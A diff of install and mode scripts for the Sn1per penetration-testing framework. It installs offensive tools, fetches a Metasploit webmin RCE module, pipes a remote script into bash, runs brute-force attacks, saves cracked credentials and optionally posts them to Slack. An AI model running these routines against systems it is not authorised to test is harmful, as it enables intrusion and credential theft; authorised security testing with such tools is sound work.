pool = multiprocessing.Pool(processes=int(options.workers), initializer=init_worker)
|
||||
|
||||
taken_screenshots = [r for r in pool.imap(func=craft_cmd, iterable=itertools.izip(url_list, itertools.repeat(options)))]
|
||||
|
||||
screenshots_error_url = [url for retval, url in taken_screenshots if retval == SHELL_EXECUTION_ERROR]
|
||||
screenshots_error = sum(retval == SHELL_EXECUTION_ERROR for retval, url in taken_screenshots)
|
||||
screenshots_ok = int(screenshot_number - screenshots_error)
|
||||
|
||||
print "[+] %s actual URLs screenshot" % screenshots_ok
|
||||
print "[+] %s error(s)" % screenshots_error
|
||||
|
||||
if screenshots_error != 0:
|
||||
for url in screenshots_error_url:
|
||||
print " %s" % url
|
||||
|
||||
return None
|
||||
|
||||
def main():
|
||||
"""
|
||||
Dat main
|
||||
"""
|
||||
global VERSION, SCREENSHOTS_DIRECTORY, LOGLEVELS
|
||||
signal.signal(signal.SIGINT, kill_em_all)
|
||||
|
||||
print 'webscreenshot.py version %s\n' % VERSION
|
||||
|
||||
options, arguments = parser.parse_args()
|
||||
|
||||
try :
|
||||
options.log_level = LOGLEVELS[options.verbosity]
|
||||
logger_gen.setLevel(options.log_level)
|
||||
except :
|
||||
parser.error("Please specify a valid log level")
|
||||
|
||||
if (options.input_file == None and (len(arguments) > 1 or len(arguments) == 0)):
|
||||
parser.error('Please specify a valid input file or a valid URL')
|
||||
|
||||
if (options.input_file != None and len(arguments) == 1):
|
||||
parser.error('Please specify either an input file or an URL')
|
||||
|
||||
if (options.output_directory != None):
|
||||
SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), options.output_directory))
|
||||
|
||||
logger_gen.debug("Options: %s\n" % options)
|
||||
if not os.path.exists(SCREENSHOTS_DIRECTORY):
|
||||
logger_gen.info("'%s' does not exist, will then be created" % SCREENSHOTS_DIRECTORY)
|
||||
os.makedirs(SCREENSHOTS_DIRECTORY)
|
||||
|
||||
url_list = parse_targets(options, arguments)
|
||||
|
||||
take_screenshot(url_list, options)
|
||||
|
||||
return None
|
||||
|
||||
if __name__ == "__main__" :
|
||||
main()
|
||||
5
build.sh
5
build.sh
|
|
@ -1,5 +0,0 @@
|
|||
#!/bin/bash
|
||||
# build script to push to github...
|
||||
git add *
|
||||
git commit -m 'Sn1per by 1N3CrowdShield'
|
||||
git push origin master
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
#!/bin/bash
|
||||
# Install script for sn1per
|
||||
#
|
||||
# VARS
|
||||
# Install script for Sn1per
|
||||
# Crated by @xer0dayz - https://xerosecurity.com
|
||||
|
||||
OKBLUE='\033[94m'
|
||||
OKRED='\033[91m'
|
||||
OKGREEN='\033[92m'
|
||||
|
|
@ -15,15 +15,19 @@ echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ https://xerosecurity.com $RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Sn1per by @xer0dayz $RESET"
|
||||
echo ""
|
||||
|
||||
INSTALL_DIR=/usr/share/sniper
|
||||
LOOT_DIR=/usr/share/sniper/loot
|
||||
PLUGINS_DIR=/usr/share/sniper/plugins
|
||||
GO_DIR=~/go/bin
|
||||
|
||||
echo -e "$OKGREEN + -- --=[This script will install sniper under $INSTALL_DIR. Are you sure you want to continue?$RESET"
|
||||
read answer
|
||||
echo -e "$OKGREEN + -- --=[ This script will install sniper under $INSTALL_DIR. Are you sure you want to continue? (Hit Ctrl+C to exit)$RESET"
|
||||
if [[ "$1" != "force" ]]; then
|
||||
read answer
|
||||
fi
|
||||
|
||||
mkdir -p $INSTALL_DIR 2> /dev/null
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
|
|
@ -33,53 +37,139 @@ mkdir $LOOT_DIR/nmap 2> /dev/null
|
|||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
mkdir $LOOT_DIR/osint 2> /dev/null
|
||||
cp -Rf $PWD/* $INSTALL_DIR 2> /dev/null
|
||||
cp -Rf * $INSTALL_DIR 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET"
|
||||
apt-get install xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt unicornscan host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap nfs-common wafw00f
|
||||
pip install dnspython colorama tldextract urllib3 ipaddress requests
|
||||
# CHECK FOR UBUNTU...
|
||||
UBUNTU_CHECK=$(egrep DISTRIB_ID /etc/lsb-release)
|
||||
if [[ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]]; then
|
||||
if [[ ! -f "/etc/apt/sources.list.bak" ]]; then
|
||||
cp /etc/apt/sources.list /etc/apt/sources.list.bak
|
||||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
fi
|
||||
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt update
|
||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||
cp -a /home/user/.Xauthority /root/.Xauthority 2> /dev/null
|
||||
chown root /root/.Xauthority
|
||||
XAUTHORITY=/root/.Xauthority
|
||||
fi
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET"
|
||||
gem install aquatone
|
||||
echo -e "$OKORANGE + -- --=[ Installing package dependencies...$RESET"
|
||||
apt-get update
|
||||
apt-get install -y python3-uritools python3-paramiko nfs-common eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix sslyze arachni aha libxml2-utils rpcbind cutycapt host whois dnsrecon curl nmap php php-curl hydra wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap jq golang adb xsltproc urlcrazy ldapscripts
|
||||
apt-get install -y waffit 2> /dev/null
|
||||
apt-get install -y libssl-dev 2> /dev/null
|
||||
apt-get install -y python-pip
|
||||
apt-get remove -y python3-pip
|
||||
apt-get install -y python3-pip
|
||||
apt-get install -y xmlstarlet
|
||||
apt-get install -y chromium
|
||||
apt-get install -y net-tools
|
||||
apt-get install -y p7zip-full
|
||||
pip install dnspython colorama tldextract urllib3 ipaddress requests
|
||||
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash
|
||||
|
||||
echo -e "$OKORANGE + -- --=[ Installing gem dependencies...$RESET"
|
||||
gem install rake
|
||||
gem install ruby-nmap net-http-persistent mechanize text-table
|
||||
gem install public_suffix
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Cleaning up old extensions...$RESET"
|
||||
rm -Rf Findsploit/ BruteX/ Goohak/ XSSTracer/ MassBleed/ SuperMicro-Password-Scanner/ CMSmap/ yasuo/ Sublist3r/ shocker/ jexboss/ serializekiller/ testssl.sh/ SimpleEmailSpoofer/ ssh-audit/ plugins/ 2> /dev/null
|
||||
echo -e "$OKORANGE + -- --=[ Setting up Ruby...$RESET"
|
||||
dpkg-reconfigure ruby
|
||||
|
||||
echo -e "$OKORANGE + -- --=[ Cleaning up old extensions...$RESET"
|
||||
rm -Rf $PLUGINS_DIR 2> /dev/null
|
||||
mkdir $PLUGINS_DIR 2> /dev/null
|
||||
cd $PLUGINS_DIR
|
||||
mkdir -p $PLUGINS_DIR/nmap_scripts/ 2> /dev/null
|
||||
mkdir -p $GO_DIR 2> /dev/null
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Downloading extensions...$RESET"
|
||||
git clone https://github.com/1N3/Findsploit.git
|
||||
echo -e "$OKORANGE + -- --=[ Downloading extensions...$RESET"
|
||||
git clone https://github.com/1N3/BruteX.git
|
||||
git clone https://github.com/1N3/Goohak.git
|
||||
git clone https://github.com/1N3/XSSTracer.git
|
||||
git clone https://github.com/1N3/MassBleed.git
|
||||
git clone https://github.com/1N3/SuperMicro-Password-Scanner
|
||||
git clone https://github.com/1N3/BlackWidow
|
||||
cp /usr/share/sniper/plugins/BlackWidow/blackwidow /usr/bin/blackwidow
|
||||
cp /usr/share/sniper/plugins/BlackWidow/injectx.py /usr/bin/injectx.py
|
||||
pip install -r /usr/share/sniper/plugins/BlackWidow/requirements.txt
|
||||
git clone https://github.com/Dionach/CMSmap.git
|
||||
git clone https://github.com/0xsauby/yasuo.git
|
||||
git clone https://github.com/johndekroon/serializekiller.git
|
||||
git clone https://github.com/aboul3la/Sublist3r.git
|
||||
git clone https://github.com/nccgroup/shocker.git
|
||||
git clone --depth 1 https://github.com/drwetter/testssl.sh.git
|
||||
git clone https://github.com/lunarca/SimpleEmailSpoofer
|
||||
git clone https://github.com/BishopFox/spoofcheck.git
|
||||
git clone https://github.com/arthepsy/ssh-audit
|
||||
git clone https://github.com/m0rtem/CloudFail.git
|
||||
git clone https://github.com/deibit/cansina
|
||||
wget https://github.com/bbb31/slurp/releases/download/1.3/slurp.zip
|
||||
git clone https://github.com/1N3/jexboss.git
|
||||
git clone https://github.com/maurosoria/dirsearch.git
|
||||
git clone https://github.com/jekyc/wig.git
|
||||
git clone https://github.com/rbsec/dnscan.git
|
||||
git clone https://github.com/RUB-NDS/CORStest.git
|
||||
git clone https://github.com/christophetd/censys-subdomain-finder.git
|
||||
pip install -r $PLUGINS_DIR/censys-subdomain-finder/requirements.txt
|
||||
pip3 install -r $PLUGINS_DIR/dnscan/requirements.txt
|
||||
git clone https://github.com/infosec-au/altdns.git
|
||||
cd altdns
|
||||
pip install -r requirements.txt
|
||||
python2 setup.py install
|
||||
pip install py-altdns
|
||||
cd ..
|
||||
git clone https://github.com/blechschmidt/massdns.git
|
||||
cd massdns
|
||||
make && make install
|
||||
cd ..
|
||||
git clone https://github.com/ProjectAnte/dnsgen
|
||||
cd dnsgen
|
||||
pip3 install -r requirements.txt
|
||||
python3 setup.py install
|
||||
cd ..
|
||||
pip install webtech
|
||||
mv $INSTALL_DIR/bin/slurp.zip $PLUGINS_DIR
|
||||
unzip slurp.zip
|
||||
rm -f slurp.zip
|
||||
wget https://github.com/michenriksen/aquatone/blob/master/subdomains.lst -O /usr/share/sniper/plugins/Sublist3r/subdomains.lst
|
||||
wget https://raw.githubusercontent.com/1N3/IntruderPayloads/master/FuzzLists/dirbuster-quick.txt -O /usr/share/sniper/plugins/cansina/dirbuster-quick.txt
|
||||
wget https://svn.nmap.org/nmap/scripts/http-vuln-cve2017-5638.nse -O /usr/share/nmap/scripts/http-vuln-cve2017-5638.nse
|
||||
wget https://raw.githubusercontent.com/xorrbit/nmap/865142904566e416944ebd6870d496c730934965/scripts/http-vuln-INTEL-SA-00075.nse -O /usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse
|
||||
cp $INSTALL_DIR/bin/iis-buffer-overflow.nse /usr/share/nmap/scripts/iis-buffer-overflow.nse 2> /dev/null
|
||||
echo -e "$OKORANGE + -- --=[Setting up environment...$RESET"
|
||||
cd $PLUGINS_DIR/CloudFail/ && apt-get install python3-pip && pip3 install -r requirements.txt
|
||||
cd $PLUGINS_DIR/Findsploit/ && bash install.sh
|
||||
cd $PLUGINS_DIR/BruteX/ && bash install.sh
|
||||
cd ~/go/bin/;go get github.com/haccer/subjack
|
||||
cd ~/go/bin/;go get -u github.com/Ice3man543/SubOver; mv SubOver /usr/local/bin/subover
|
||||
go get github.com/harleo/asnip
|
||||
ln -s ~/go/bin/asnip /usr/bin/asnip 2>/dev/null
|
||||
rm -Rf ~/go/src/amass*
|
||||
wget https://github.com/OWASP/Amass/releases/download/v3.1.10/amass_v3.1.10_linux_amd64.zip -O ~/go/src/amass.zip
|
||||
cd ~/go/src/
|
||||
unzip ~/go/src/amass.zip
|
||||
mv amass_v3.1.10_linux_amd64 amass 2> /dev/null
|
||||
cd amass
|
||||
cp amass /usr/bin/amass -f 2> /dev/null
|
||||
rm -f ~/go/src/amass.zip 2> /dev/null
|
||||
cd ~/go/bin; wget https://github.com/projectdiscovery/subfinder/releases/download/v2.2.4/subfinder-linux-amd64.tar; tar -xvf subfinder-linux-amd64.tar; rm -f subfinder-linux-amd64.tar; mv subfinder-linux-amd64 /usr/local/bin/subfinder
|
||||
cd /usr/share/nmap/scripts/
|
||||
rm -Rf vulscan 2> /dev/null
|
||||
git clone https://github.com/scipag/vulscan
|
||||
rm -f /usr/share/nmap/scripts/vulners.nse
|
||||
wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
|
||||
mkdir -p ~/.msf4/modules/exploits/web
|
||||
wget https://raw.githubusercontent.com/1N3/Exploits/master/defcon_webmin_unauth_rce.rb -O ~/.msf4/modules/exploits/web/defcon_webmin_unauth_rce.rb
|
||||
wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z -O /tmp/gobuster.7z
|
||||
cd /tmp/
|
||||
7z e gobuster.7z
|
||||
chmod +rx gobuster
|
||||
mv gobuster /usr/bin/gobuster
|
||||
cd $PLUGINS_DIR
|
||||
wget https://github.com/laramies/theHarvester/archive/3.0.6.tar.gz
|
||||
tar -zxvf 3.0.6.tar.gz
|
||||
rm 3.0.6.tar.gz
|
||||
rm -f /usr/bin/theharvester
|
||||
ln -s /usr/share/sniper/plugins/theHarvester-3.0.6/theHarvester.py /usr/bin/theharvester
|
||||
git clone https://github.com/laramies/metagoofil.git
|
||||
git clone https://github.com/achillean/shodan-python
|
||||
cd shodan-python
|
||||
python setup.py install
|
||||
cd ..
|
||||
echo -e "$OKORANGE + -- --=[ Setting up environment...$RESET"
|
||||
mv ~/.sniper.conf ~/.sniper.conf.old 2> /dev/null
|
||||
cp $INSTALL_DIR/sniper.conf ~/.sniper.conf 2> /dev/null
|
||||
cd $PLUGINS_DIR/BruteX/ && bash install.sh 2> /dev/null
|
||||
cd $PLUGINS_DIR/spoofcheck/ && pip install -r requirements.txt 2> /dev/null
|
||||
cd $PLUGINS_DIR/CMSmap/ && pip3 install . && python3 setup.py install
|
||||
cd $INSTALL_DIR
|
||||
mkdir $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots/ -p 2> /dev/null
|
||||
|
|
@ -87,32 +177,15 @@ mkdir $LOOT_DIR/nmap -p 2> /dev/null
|
|||
mkdir $LOOT_DIR/domains -p 2> /dev/null
|
||||
mkdir $LOOT_DIR/output -p 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports -p 2> /dev/null
|
||||
cp -f $INSTALL_DIR/bin/clamav-exec.nse /usr/share/nmap/scripts/ 2> /dev/null
|
||||
chmod +x $INSTALL_DIR/sniper
|
||||
chmod +x $INSTALL_DIR/bin/dnsdict6
|
||||
chmod +x $PLUGINS_DIR/Goohak/goohak
|
||||
chmod +x $PLUGINS_DIR/XSSTracer/xsstracer.py
|
||||
chmod +x $PLUGINS_DIR/MassBleed/massbleed
|
||||
chmod +x $PLUGINS_DIR/MassBleed/heartbleed.py
|
||||
chmod +x $PLUGINS_DIR/MassBleed/openssl_ccs.pl
|
||||
chmod +x $PLUGINS_DIR/MassBleed/winshock.sh
|
||||
chmod +x $PLUGINS_DIR/SuperMicro-Password-Scanner/supermicro_scan.sh
|
||||
chmod +x $PLUGINS_DIR/testssl.sh/testssl.sh
|
||||
rm -f /usr/bin/sniper
|
||||
rm -f /usr/bin/goohak
|
||||
rm -f /usr/bin/xsstracer
|
||||
rm -f /usr/bin/findsploit
|
||||
rm -f /usr/bin/copysploit
|
||||
rm -f /usr/bin/compilesploit
|
||||
rm -f /usr/bin/massbleed
|
||||
rm -f /usr/bin/testssl
|
||||
rm -f /usr/bin/dirsearch
|
||||
ln -s $INSTALL_DIR/sniper /usr/bin/sniper
|
||||
ln -s $PLUGINS_DIR/Goohak/goohak /usr/bin/goohak
|
||||
ln -s $PLUGINS_DIR/XSSTracer/xsstracer.py /usr/bin/xsstracer
|
||||
ln -s $PLUGINS_DIR/Findsploit/findsploit /usr/bin/findsploit
|
||||
ln -s $PLUGINS_DIR/Findsploit/copysploit /usr/bin/copysploit
|
||||
ln -s $PLUGINS_DIR/Findsploit/compilesploit /usr/bin/compilesploit
|
||||
ln -s $PLUGINS_DIR/MassBleed/massbleed /usr/bin/massbleed
|
||||
ln -s $PLUGINS_DIR/testssl.sh/testssl.sh /usr/bin/testssl
|
||||
echo -e "$OKORANGE + -- --=[Done!$RESET"
|
||||
echo -e "$OKORANGE + -- --=[To run, type 'sniper'! $RESET"
|
||||
ln -s $PLUGINS_DIR/dirsearch/dirsearch.py /usr/bin/dirsearch
|
||||
msfdb init
|
||||
|
||||
echo -e "$OKORANGE + -- --=[ Done!$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ To run, type 'sniper'! $RESET"
|
||||
|
|
|
|||
|
|
@ -0,0 +1,39 @@
|
|||
#!/bin/bash
|
||||
# Install script for Sn1per
|
||||
# Crated by @xer0dayz - https://xerosecurity.com
|
||||
|
||||
OKBLUE='\033[94m'
|
||||
OKRED='\033[91m'
|
||||
OKGREEN='\033[92m'
|
||||
OKORANGE='\033[93m'
|
||||
RESET='\e[0m'
|
||||
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ https://xerosecurity.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Sn1per by @xer0dayz$RESET"
|
||||
echo ""
|
||||
echo -e "$OKGREEN + -- --=[ This script will install Sn1per on Ubuntu and Debian based OS's. $RESET"
|
||||
echo -e "$OKRED + -- --=[ NOTE: Installing Sn1per on Ubuntu or Debian based OS's requires adding Kali Linux repositories to yours apt sources list. This *may* cause system instability or compatibility issues! Be sure to backup your system prior to running this script in case you need to revert. (Hit Enter to continue) $RESET"
|
||||
read answer
|
||||
if [[ ! -f "/etc/apt/sources.list.bak" ]]; then
|
||||
cp /etc/apt/sources.list /etc/apt/sources.list.bak
|
||||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
fi
|
||||
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt update
|
||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||
cp -a /home/user/.Xauthority /root/.Xauthority 2> /dev/null
|
||||
chown root /root/.Xauthority
|
||||
XAUTHORITY=/root/.Xauthority
|
||||
git clone https://github.com/1N3/Sn1per /tmp/Sn1per
|
||||
cd /tmp/Sn1per
|
||||
bash install.sh
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
# AIRSTRIKE MODE #####################################################################################################
|
||||
if [[ "$MODE" = "airstrike" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ "$AUTOBRUTE" = "1" ]]; then
|
||||
args="$args -b"
|
||||
fi
|
||||
if [[ "$FULLNMAPSCAN" = "1" ]]; then
|
||||
args="$args -fp"
|
||||
fi
|
||||
if [[ "$OSINT" = "1" ]]; then
|
||||
args="$args -o"
|
||||
fi
|
||||
if [[ "$RECON" = "1" ]]; then
|
||||
args="$args -re"
|
||||
fi
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m stealth --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
if [[ "$AUTOBRUTE" = "0" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SKIPPING BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
brutex $TARGET | tee $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null > $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/credentials/brutex-$TARGET
|
||||
cd $INSTALL_DIR
|
||||
rm -f hydra.restore
|
||||
rm -f scan.log
|
||||
CRACKED=$(egrep -h -i -s password $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null | grep host 2> /dev/null)
|
||||
if [[ ${#CRACKED} -ge 5 ]]; then
|
||||
echo "$CRACKED" > $LOOT_DIR/output/cracked-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo ""
|
||||
if [[ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/credentials/brutex-$TARGET.txt"
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
# DISCOVER MODE #####################################################################################################
|
||||
if [[ "$MODE" = "discover" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
WORKSPACE="$(echo $WORKSPACE | tr / -)"
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/ips 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
fi
|
||||
OUT_FILE="$(echo $TARGET | tr / -)"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$OUT_FILE-$MODE.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ /\\"
|
||||
echo -e "$OKRED Sn1per by @xer0dayz @XeroSecurity \ \\"
|
||||
echo -e "$OKRED https://xerosecurity.com \ \\"
|
||||
echo -e "$OKRED ___ / \\"
|
||||
echo -e "$OKRED \ \\"
|
||||
echo -e "$OKRED === > [ \\"
|
||||
echo -e "$OKRED / \ \\"
|
||||
echo -e "$OKRED \ / /"
|
||||
echo -e "$OKRED === > [ /"
|
||||
echo -e "$OKRED / /"
|
||||
echo -e "$OKRED ___ \ /"
|
||||
echo -e "$OKRED / /"
|
||||
echo -e "$OKRED ____ / /"
|
||||
echo -e "$OKRED \/$RESET"
|
||||
echo ""
|
||||
OUT_FILE=$(echo $TARGET | tr / -)
|
||||
